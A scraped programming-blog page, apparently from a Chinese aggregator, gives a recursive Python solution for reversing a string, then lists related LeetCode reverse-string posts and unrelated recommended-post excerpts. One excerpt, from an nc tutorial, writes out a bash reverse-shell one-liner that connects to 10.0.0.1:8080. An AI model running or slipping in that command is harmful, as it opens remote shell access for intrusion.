Reverse string using recursion
On-Site Question 3 - SOLUTION
Question
Given a string, write a function that uses recursion to reverse it.
Requirements
You MUST use pen and paper or a whiteboard to answer this, no coding allowed!
SOLUTION
Hopefully you remember this problem, you've already seen it! The solution is:
def reverse(s):
# Base Case
if len(s) <= 1:
return s
# Recursion
return reverse(s[1:]) + s[0]
Notes
Remember when recursion questions arise, think about the base case and the recursive case. Review the recusion section of the course for review for this problem.
Good Job!
Reverse string using recursion的更多相关文章
- 344. Reverse String【easy】
344. Reverse String[easy] Write a function that takes a string as input and returns the string rever ...
- [LeetCode] Reverse String 翻转字符串
Write a function that takes a string as input and returns the string reversed. Example: Given s = &q ...
- LeetCode Reverse String
原题链接在这里:https://leetcode.com/problems/reverse-string/ 题目: Write a function that takes a string as in ...
- Nim Game,Reverse String,Sum of Two Integers
下面是今天写的几道题: 292. Nim Game You are playing the following Nim Game with your friend: There is a heap o ...
- [CareerCup] 1.2 Reverse String 翻转字符串
1.2 Implement a function void reverse(char *str) in C or C++ which reverses a null-terminated string ...
- 344. Reverse String(C++)
344. Reverse String Write a function that takes a string as input and returns the string reversed. E ...
- [LeetCode] 344 Reverse String && 541 Reverse String II
原题地址: 344 Reverse String: https://leetcode.com/problems/reverse-string/description/ 541 Reverse Stri ...
- [LeetCode] Reverse String II 翻转字符串之二
Given a string and an integer k, you need to reverse the first k characters for every 2k characters ...
- LeetCode Javascript实现 344. Reverse String 292. Nim Game 371. Sum of Two Integers
344. Reverse String /** * @param {string} s * @return {string} */ var reverseString = function(s) { ...
随机推荐
- 21. oracle游标循环例子
事例1: create or replace procedure sp_addProjectQj( ret out number, flowid in number --流程Id) ascursor ...
- linux 下创建文本的方法
1. 打开终端,输入 vi 1.txt 输入:wq 文本创建成功 2. 打开终端,输入 vim 1.txt 输入:wq 文本创建成功 3. 打开终端 , 输入 touch 1.txt ...
- shiro 框架
惊天给大家总结一点shiro框架的小知识 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,您可以快速.轻松地获得任何应 ...
- PHP函数注释规范
<?php/*** @name 名字* @abstract 申明变量/类/方法* @access 指明这个变量.类.函数/方法的存取权限* @author 函数作者的名字和邮箱地址* @cate ...
- ubuntu编译安装php7, 安装openssl
sudo apt-get install openssl sudo apt-get install libssl-dev
- Maven 异常
Archive for required library: '*****org/javassist/javassist/3.21.0-GA/javassist-3.21.0-GA.jar' in pr ...
- Flume环境搭建_五种案例(转)
Flume环境搭建_五种案例 http://flume.apache.org/FlumeUserGuide.html A simple example Here, we give an example ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- Haskell语言学习笔记(54)Data.Set
Data.Set Prelude> import Data.Set as Set Prelude Set> :set -XOverloadedLists Construction Prel ...
- 转:Linux设备驱动开发(1):内核基础概念
一.linux设备驱动的作用 内核:用于管理软硬件资源,并提供运行环境.如分配4G虚拟空间等. linux设备驱动:是连接硬件和内核之间的桥梁. linux系统按个人理解可按下划分: 应用层:包括PO ...